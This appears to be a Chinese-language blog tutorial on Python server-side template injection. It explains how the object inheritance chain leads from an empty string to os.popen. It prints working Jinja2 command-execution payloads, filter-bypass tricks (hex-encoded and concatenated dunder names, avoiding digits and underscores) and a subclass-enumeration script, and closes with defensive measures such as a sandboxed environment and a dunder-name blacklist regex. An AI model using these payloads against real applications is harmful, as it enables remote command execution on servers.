别再只记Payload了!深入理解Python对象继承链,让你的SSTI绕过思路更清晰
从字符串到命令执行:Python对象继承链在SSTI漏洞中的核心逻辑
当你面对一个看似无害的空字符串""时,是否想过它可能成为打开系统大门的钥匙?在Python的世界里,每个对象背后都隐藏着一条通往系统核心的继承链。本文将彻底拆解这条神秘路径,让你不再依赖现成Payload,而是掌握自主构造SSTI攻击的底层逻辑。
1. Python对象模型的DNA结构
Python中万物皆对象,每个对象都携带完整的"基因图谱"。以最简单的空字符串为例,其继承链包含以下关键信息层:
>>> ''.__class__.__mro__ (<class 'str'>, <class 'object'>)这个元组揭示了字符串对象的完整继承路径。更关键的是__subclasses__()方法,它能展示当前Python进程中所有已加载的类:
>>> object.__subclasses__() [<class 'type'>, <class 'weakref'>, ..., <class 'os._wrap_close'>]对象继承链的三层架构:
- 实例层:具体对象如
""、[]、{} - 类层:通过
__class__访问的类定义 - 继承网:通过
__bases__和__subclasses__()构成的类关系网
2. 魔术方法的武器化实践
理解以下魔术方法的组合使用是构造SSTI攻击的关键:
| 方法 | 作用 | 典型攻击用途 |
|---|---|---|
__class__ | 获取对象所属类 | 跳转到类操作层面 |
__bases__ | 获取父类元组 | 向继承链上游移动 |
__mro__ | 方法解析顺序 | 查看完整继承路径 |
__subclasses__() | 获取直接子类列表 | 寻找可利用的类 |
__init__ | 类初始化方法 | 访问模块全局变量 |
__globals__ | 获取函数全局变量 | 定位关键模块如os |
一个典型的攻击链示例:
{{ ''.__class__.__mro__[1].__subclasses__()[140].__init__.__globals__['os'].popen('id').read() }}这条链式调用完成了从字符串到命令执行的完整跨越,其核心原理是:
- 通过空字符串实例获取
str类引用 - 跳转到顶层
object类 - 遍历所有子类寻找包含
os模块引用的类 - 通过
__globals__字典访问系统模块
3. 主流模板引擎的语法差异
不同模板引擎对对象访问的支持程度各异,以下是三大引擎的对比:
Jinja2 (Flask默认引擎):
- 完全支持点号属性访问:
{{ obj.attr }} - 支持过滤器管道:
{{ obj|attr('__class__') }} - 允许
[]操作符:{{ obj['__class__'] }}
Twig (Symfony常用):
- 点号语法受限,需使用
_self上下文 - 更严格的沙箱环境
- 常用
{{ _self.env }}访问环境变量
Smarty (PHP生态):
- 使用
{php}标签执行代码(新版已移除) - 通过
{if system('ls')}{/if}执行命令 - 支持
{assign var=foo value=$bar}变量操作
绕过过滤的通用策略:
- 属性访问替代方案:
{{ ()|attr('__class__') }} <!-- 替代 ().__class__ --> - 字符串拼接技巧:
{% set x = '__cla' ~ 'ss__' %}{{ ()[x] }} - 编码转换技术:
{{ ()['\x5f\x5fclass\x5f\x5f'] }} <!-- 十六进制编码 -->
4. 实战中的继承链导航技巧
在真实渗透测试中,需要动态分析目标环境的类布局。以下是实用步骤:
步骤一:确定基础对象类型
# 常用起点对象 ''.__class__ # 字符串 [].__class__ # 列表 {}.__class__ # 字典 ().__class__ # 元组步骤二:定位object基类
# 方法1:通过__bases__链 ''.__class__.__base__.__base__... # 方法2:通过__mro__ ''.__class__.__mro__[-1]步骤三:枚举危险子类
# 查找包含os模块引用的类 for i, cls in enumerate(object.__subclasses__()): if hasattr(cls.__init__, '__globals__'): if 'os' in cls.__init__.__globals__: print(i, cls)步骤四:构造完整利用链
# 典型os模块调用链 {{ ().__class__.__base__.__subclasses__()[140].__init__.__globals__['os'].popen('ls').read() }} # 替代方案:通过__builtins__ {{ ().__class__.__base__.__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('ls')") }}特殊场景处理:
- 当数字被过滤时:
{% set idx = 'a'|length %}{{ ''.__class__.__mro__[idx] }} - 当下划线被过滤时:
{% set _ = (()|select|string|list)[18] %}{{ ()|attr(_*2+'class'+_*2) }}
5. 防御视角下的对抗策略
从安全开发角度,理解攻击手法才能构建有效防护:
输入过滤层:
- 黑名单过滤关键魔术方法名
- 正则匹配链式调用模式
import re dangerous_pattern = re.compile(r'__[a-zA-Z0-9_]+__') def safe_render(template): if dangerous_pattern.search(template): raise SecurityError("Dangerous template pattern detected")沙箱环境层:
- 限制可用对象类型
- 移除危险内置函数
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() env.globals.pop('__import__', None)模板使用规范:
- 始终使用分离的上下文变量
# 错误做法 template = "Hello " + user_input # 正确做法 template = "Hello {{ name }}" env.render(template, name=user_input) - 禁用原生Python表达式
env = Environment(undefined=StrictUndefined)
日志监控建议:
- 记录所有模板渲染异常
- 监控可疑的对象访问模式
class SecurityLogger: def warn_ssti_attempt(self, template): logging.warning(f"Potential SSTI attempt: {template[:100]}")理解Python对象模型不仅是攻击者的利器,更是开发者构建安全应用的基石。当你下次看到__class__这样的魔术方法时,希望你能同时以攻击者和防御者的双重视角,审视其中蕴含的安全深意。
